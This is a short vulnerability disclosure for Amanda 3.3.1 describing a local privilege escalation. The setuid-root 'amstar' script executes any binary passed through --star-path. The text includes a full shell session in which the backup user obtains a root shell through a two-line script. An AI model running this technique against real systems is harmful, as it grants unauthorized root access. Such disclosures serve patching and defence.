Amanda 3.3.1 - 'amstar' Command Injection Privilege Escalation

AMANDA, the Advanced Maryland Automatic Network Disk Archiver, is a backup 
solution that allows the IT administrator to set up a single master backup
server to back up multiple hosts over network to tape drives/changers or 
disks or optical media. Amanda uses native utilities and formats (e.g. dump
and/or GNU tar) and can back up a large number of servers and workstations
running multiple versions of Linux or Unix. 

A user with backup privs can trivially compromise a client installation.
Amstar is an Amanda Application API script. It should not be run by users 
directly. It uses star to backup and restore data. It runs binaries with
root permissions when parsing the command line arguement --star-path. 

Tested against Amanda 3.3.1. An example is shown below:

$ id
uid=34(backup) gid=34(backup) groups=34(backup),6(disk),26(tape)
$ cat /tmp/runme.sh
#!/bin/sh
/bin/sh
$ ls -al /usr/lib/amanda/application/amstar
-rwsr-xr-- 1 root backup 31284 Jul 29  2012 /usr/lib/amanda/application/amstar
$ /usr/lib/amanda/application/amstar restore --star-path=/tmp/runme.sh
# id
uid=0(root) gid=34(backup) groups=0(root),6(disk),26(tape),34(backup)
# uname -a
Linux raspberrypi 3.10.25 #1 Sat Dec 28 20:50:23 EST 2013 armv6l GNU/Linux
#

 -- Hacker Fantastic